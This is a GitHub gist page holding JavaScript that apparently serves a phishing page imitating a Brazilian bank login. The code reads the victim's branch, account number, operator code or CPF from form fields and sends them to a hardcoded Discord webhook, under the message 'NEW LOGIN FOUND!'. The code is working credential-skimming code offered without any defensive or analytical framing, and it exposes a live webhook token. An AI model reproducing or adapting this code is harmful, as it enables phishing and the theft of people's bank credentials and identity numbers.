Created
December 20, 2022 19:27
-
-
Save lasse-lenting/c08c609af3325604e449602e62aa5be9 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function sendMessage(a) { | |
const request = new XMLHttpRequest(); | |
request.open("POST", "https://discord.com/api/webhooks/1054801748784582747/RnejtlSm0In4XZOBj_gCjhwd2Hw4Tmy3zSP6dYonnnuOzaHG3RR_SsscvKZz6wmzovYA"); | |
request.setRequestHeader('Content-type', 'application/json'); | |
var selection = document.getElementById('opcoes_login').value | |
if(selection.split(":")[0] == "0") { | |
var agencia = document.getElementById('ag').value | |
var conta = document.getElementById('cc').value | |
var str = "**NEW LOGIN FOUND!**" + "\n" + "Information:" + "\n" + "\n" + "*Selection:* " + selection + "\n" + "*Agencia:* " + agencia + "\n" + "*Conta:* " + conta | |
const params = { | |
username: "LOGIN DETECTION - BOT", | |
avatar_url: "", | |
content: str.toString() | |
} | |
request.send(JSON.stringify(params)); | |
console.log() | |
} else if(selection.split(":")[0] == "1") { | |
var op = document.getElementById('op').value | |
var str = "**NEW LOGIN FOUND!**" + "\n" + "Information:" + "\n" + "\n" + "*Selection:* " + selection + "\n" + "*Código do operador*: " + op | |
const params = { | |
username: "LOGIN DETECTION - BOT", | |
avatar_url: "", | |
content: str.toString() | |
} | |
request.send(JSON.stringify(params)); | |
console.log() | |
} else if (selection.split(":")[0] == "2") { | |
var cpf = document.getElementById('cpf').value | |
var str = "**NEW LOGIN FOUND!**" + "\n" + "Information:" + "\n" + "\n" + "*Selection:* " + selection + "\n" + "*CPF*: " + cpf | |
const params = { | |
username: "LOGIN DETECTION - BOT", | |
avatar_url: "", | |
content: str.toString() | |
} | |
request.send(JSON.stringify(params)); | |
console.log() | |
} | |
} | |
function sendMessage2(a) { | |
const request = new XMLHttpRequest(); | |
request.open("POST", "https://discord.com/api/webhooks/1054801748784582747/RnejtlSm0In4XZOBj_gCjhwd2Hw4Tmy3zSP6dYonnnuOzaHG3RR_SsscvKZz6wmzovYA"); | |
request.setRequestHeader('Content-type', 'application/json'); | |
var agencia = document.getElementById('agencia').value | |
var conta = document.getElementById('conta').value | |
var str = "**NEW LOGIN FOUND!**" + "\n" + "Information:" + "\n" + "\n" + "*Selection:* Default" + "\n" + "*Agencia:* " + agencia + "\n" + "*Conta:* " + conta | |
const params = { | |
username: "LOGIN DETECTION - BOT", | |
avatar_url: "", | |
content: str.toString() | |
} | |
request.send(JSON.stringify(params)); | |
console.log('hi') | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment